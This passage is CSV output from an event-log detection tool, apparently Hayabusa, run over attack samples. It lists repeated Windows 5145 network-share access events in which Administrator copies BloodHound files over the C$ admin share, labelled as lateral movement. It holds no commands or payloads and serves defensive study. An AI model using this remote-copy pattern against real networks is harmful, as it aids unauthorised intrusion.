Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.svg : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.818 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.exporters.xlsx : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.828 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.helpers.graph : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.828 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.layouts.dagre : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.828 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.layouts.forceAtlas2 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.828 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.layouts.forceLink : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.828 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.layouts.fruchtermanReingold : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.838 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.layouts.noverlap : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.838 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.parsers.cypher : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.838 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.parsers.gexf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.838 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.parsers.json : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.pathfinding.astar : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.activeState : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.animate : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.colorbrewer : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.design : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.848 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.dragNodes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.858 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.edgeSiblings : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.858 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.filter : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.858 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.fullScreen : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.858 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.generators : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.858 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.keyboard : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.868 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.lasso : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.868 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.leaflet : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.868 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.legend : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.868 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.locate : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.878 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.neighborhoods : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.878 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.poweredBy : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.878 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.relativeSize : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.878 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.select : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.878 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.plugins.tooltips : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.888 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.renderers.customEdgeShapes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.888 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.renderers.edgeLabels : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.888 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.renderers.glyphs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.888 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.renderers.halo : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.898 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.renderers.linkurious : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.898 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.statistics.HITS : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.908 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.statistics.louvain : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.908 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\scripts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.908 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.908 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\captors : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.918 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\classes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.918 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\middlewares : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.918 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\misc : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.918 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\renderers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.928 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.928 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\listenercount : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.928 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\listenercount\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.928 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\locate-path : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.928 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\lodash : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.968 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\lodash\fp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.978 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\loose-envify : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.988 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\make-dir : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.988 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\md5-file : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.988 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\minimatch : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.988 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\minimist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.998 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\minimist\example : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.998 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\minimist\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.008 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mkdirp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.008 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mkdirp\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.008 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: 